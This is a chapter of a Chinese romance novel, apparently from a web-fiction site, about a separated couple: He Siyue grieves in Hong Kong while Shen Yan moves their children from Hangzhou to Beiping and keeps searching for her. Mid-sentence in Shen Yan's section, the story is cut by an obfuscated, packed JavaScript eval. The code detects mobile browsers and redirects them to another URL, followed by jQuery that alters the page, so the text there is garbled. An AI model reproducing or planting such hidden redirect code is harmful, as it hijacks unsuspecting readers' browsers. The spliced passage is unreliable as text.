何思玥把信纸折好，和之前写的那些放在一起，已经是厚厚的一沓了，她将这些信整理好，用一根红绳系好。
那是她亲手编的红绳，本打算给孩子一周岁时候戴的，可惜一直没有机会。
现在，它们成了她对孩子们和沈晏全部的思念和精神寄托。
她抱着那沓信，靠在窗边，闭上眼睛，思绪飘向了远方。
“沈晏，”她轻声说，“你在哪里？”
夜风从窗口灌进来，带着海水的咸腥和深秋的寒意。
何思玥抱紧怀里那沓信，抱得那样紧，指节都泛了白，仿佛只要松开一些，就会连这点念想都被风吹散。
“沈晏，”她又唤了一声，声音轻得像梦呓，“你在哪里……”
没有人回答。
窗外的维多利亚港灯火通明，那些光落在她脸上，却照不进她眼底的深渊。
她已经很久没有照镜子了，不知道自己的模样——眼眶深陷，颧骨突出，唇色苍白得像纸。
诊所的人总劝她多吃点，她点头应着，可吃下去的每一口，都像在吞咽沙子。
她低下头，把脸埋进那沓信里。
纸张冰凉的触感贴在脸上，她能闻到淡淡的墨香，还有——她幻想出来的、属于他的气息。可那气息太淡了，淡得像一个快醒来的梦。
她开始发抖。
起初只是肩膀微微颤动，后来整个人都抖起来，抖得牙齿都在打颤。她咬着唇，拼命忍着，可忍到嘴唇咬破了，尝到血腥味，也忍不住。
那声呜咽终于从喉咙里冲出来，破碎得像濒死的鸟。
“沈晏——！”
她喊出声，喊得撕心裂肺。
可这间小小的屋子里没有他，窗外的城市里没有他，这片土地上没有他，整个世界都没有他。
只有那沓信，只有那一封封没有寄出的情书，只有那一封封无处倾诉的思念，静静地躺在她怀里。
何思玥猛地抬起头，大口喘气，像溺水的人浮出水面。
她发现自己满脸是泪，眼泪滴在信纸上，洇开一片片深色的痕迹。她慌了，赶紧用袖子去擦，可越擦越湿，越擦越脏。
“对不起，对不起……”她对着信纸道歉，仿佛那些信就是沈晏，“我把你们弄脏了……”
可话没说完，她又哭起来。
这一次哭得比刚才更凶。
她蜷缩在窗边，整个人缩成小小一团，把头埋进膝盖里，哭得浑身发抖，哭得喘不上气，哭得连声音都发不出来。
只有肩膀剧烈地耸动，只有压抑到极致的抽噎，在寂静的夜里显得格外惨烈。
她不知道自己哭了多久。
也许是几分钟，也许是一个时辰。
等她终于停下来，窗外已经黑透了。海风吹进来，吹得她脸上泪痕发紧，吹得她浑身发冷。
她慢慢直起身，把那些被眼泪打湿的信纸一张张展平，仔细晾在窗台上。
夜风一页页翻过那些信，像翻过她三百多个日夜的思念。
第二天一早，她又准时出现在诊所。
病人已经排起了长队，有咳嗽的老人；有发烧的孩子；有受伤的工人。
何思玥连忙穿上白大褂，把钢笔别在胸前口袋里，深吸一口气。
“下一个。”
她低头看病，抬头开药，耐心安抚每一个慌张的病人。偶尔抬起头，会下意识地看向门口。
仿佛下一秒，那个熟悉的身影就会推门走进来，笑着说：“思玥，我来了。”
一次又一次，都没有。
只有陌生的面孔，陌生的口音，陌生的伤痛。
傍晚下班，她走在香港拥挤的街道上，人群熙熙攘攘，说着她听不太懂的粤语，她一个人走在其中，像个局外人，怎么都融不进去。
路过一家照相馆，橱窗里摆着几张全家福。一家三口，或者一家四口，都笑着看向镜头。
她停下脚步，看了很久。
她和沈晏也拍过全家福，那天阳光很好，她穿着藕荷色旗袍，他穿着深色西装，两个孩子穿着她亲手做的小衣服。
摄影师说“笑一笑”，他们就笑了。
那是他们最后一次整整齐齐地站在一起。
何思玥嘴角微微扬起，夹杂着一丝苦笑，她将目光移开，继续往前走。
回到住处，她又坐在窗前，又拿出纸笔。
“沈晏：
今天路过一家照相馆，想起我们拍全家福那天，你记得吗？念玥一直想去抓那个摄影师手里的东西，怀安则一本正经地看镜头，像个小大人。你站在我旁边，手揽着我的腰，我靠在你肩上。
那是我这辈子最幸福的时刻之一。
如果那张照片还在，该多好。
想你的思玥”
信写完，叠好，和之前那些放在一起。
夜深了，她躺下，把那沓信抱在怀里，闭上眼睛。
明天，又是新的一天。又是等待的一天。
她会继续等。
等到重逢的那天。
......
杭州的冬天比上海冷。
沈晏站在窗前，看着院子里那棵落尽叶子的梧桐树。怀安和念玥在屋里跑来跑去，沈希希在后面追着他们，屋里难得的有些热闹。可他听不进去，只是看着窗外灰蒙蒙的天。
又是一封回信。
又是一句“查无此人”。
他低头看着手里的信纸，薄薄的一张，寥寥几个字。他看了很多遍，每一个字都能背下来，可他还是看着，仿佛多看一遍就能看出不一样的答案。
“沈晏。”
杨石泽走进来，在他身后站定。
沈晏没回头，只是把信纸折好，放进口袋里。
“还是没有消息？”
“没有。”
杨石泽沉默了一会儿，走到他身边，也看向窗外。
“你的人还在上海找吗？”
“在。”沈晏说，“托了三拨人，每隔几天就去那些临时收容所、难民登记处、医院打听。能找的地方都找了，能问的人都问了。”
“那……”
“她还活着。”沈晏打断他，声音很轻，却很坚定，“她一定还活着。”
杨石泽没有反驳。他不知道该怎么反驳。
这一年多来，沈晏就是这样撑过来的。
靠着“她还活着”这四个字，他撑过了父亲的病重离世，撑过了两个孩子同时发烧的惊惶之夜，撑过了无数个辗转难眠的夜晚。
念玥有一次半夜醒来，哭着要找妈妈。沈晏抱着她在屋里走来走去，哄了一个多时辰，她才又睡着。他把女儿放回床上，坐在旁边看了很久。
那张小脸，越来越像思玥了。
从那以后，他开始给两个孩子讲妈妈的事。讲妈妈是医生，救了很多人；讲妈妈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17247859|193555||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很勇敢，不怕坏人；讲妈妈很温柔，给他们做了好多漂亮的小衣服。
怀安听不太懂，只是睁着大眼睛看他。念玥会问，妈妈什么时候回来？
沈晏每次都答：快了。等仗打完，妈妈就回来。
他不知道自己还能骗多久。
“沈晏。”杨石泽又开口，这次语气更郑重了些，“我这次来，是有件事要告诉你。”
沈晏转过头看他。
“北京那边来人了。”杨石泽说，“是外务部的人。他们还记得你，记得你在巴黎做的事。现在北平那边需要人，懂国际事务、懂经济、背景干净的人。他们找到了我，想问问你的意思。”
沈晏没有说话。
“我知道你放不下思玥。”杨石泽放缓了语气，“可是沈晏，你还有两个孩子。杭州虽好，终非久留之地。现在时局这么乱，你总得为孩子们想想。北京那边，有学校，有医院，有安稳的日子。而且——”他顿了顿，“北平是北方的枢纽，各方消息汇聚之地。要找一个人，北平比杭州机会多得多。”
最后这句话，让沈晏的眼神动了动。
是啊，要找一个人，北平机会多得多。
他沉默了很久。
屋里传来怀安的笑声，念玥在喊“舅舅舅舅”。沈希希不知道在逗他们玩什么，两个孩子笑得格外开心。
他听着那些笑声，心里又暖又疼。
“什么时候动身？”他终于开口。
杨石泽松了口气：“下个月初有趟火车，可以安排。”
“好。”
临行前一夜，沈晏把那沓照片从箱底翻出来。
一年多了，他舍不得拿出来看。怕看一次，心就疼一次。
可今夜他忍不住。
他一张张铺在桌上，用手一点一点抚平。第一张，一家四口坐在椅子上，她笑得温柔又满足。
第二张，她站在他身边，手搭在他手臂上。
第三张，她靠在他肩上，和他一起看着镜头。
他看了很久很久，看到眼眶发酸。
最后，他把照片仔细收好，放回箱底。
“思玥，”他对着箱子说，“我要带孩子们去北平了。那里比杭州大，消息比杭州多，找到你的机会也多一些。你一定要活着，一定要等我。等仗打完了，等我们团聚了，我带你去看北平的雪。”
窗外，月亮很圆，很亮。
第二天的火车上，怀安和念玥趴在窗边，好奇地看着外面的风景。两个孩子长大了一些，话也多了，一路上叽叽喳喳问个不停。
沈晏坐在旁边，耐心地回答他们每一个问题。
火车开了一天一夜，终于在一个清冷的早晨抵达北平。
站台上人来人往，有穿长衫的，有穿西装的，有卖报的，有拉车的。沈晏抱着念玥，沈希希牵着怀安，跟着接站的人走出车站。
一阵冷风吹来，念玥缩了缩脖子。
沈晏把她抱紧些，抬头看向这座古老的城市。灰墙青瓦，枯树寒鸦，和南方的温润完全不同。
他在心里默默说：思玥，我们到北平了。
而此刻，南方的香港，何思玥正在诊所里给一个孩子看病。她抬起头，下意识地看向门口。
什么都没有。
只有陌生的面孔，和温热的南国阳光。
她低下头，继续看病。
他们之间的距离，又远了一些。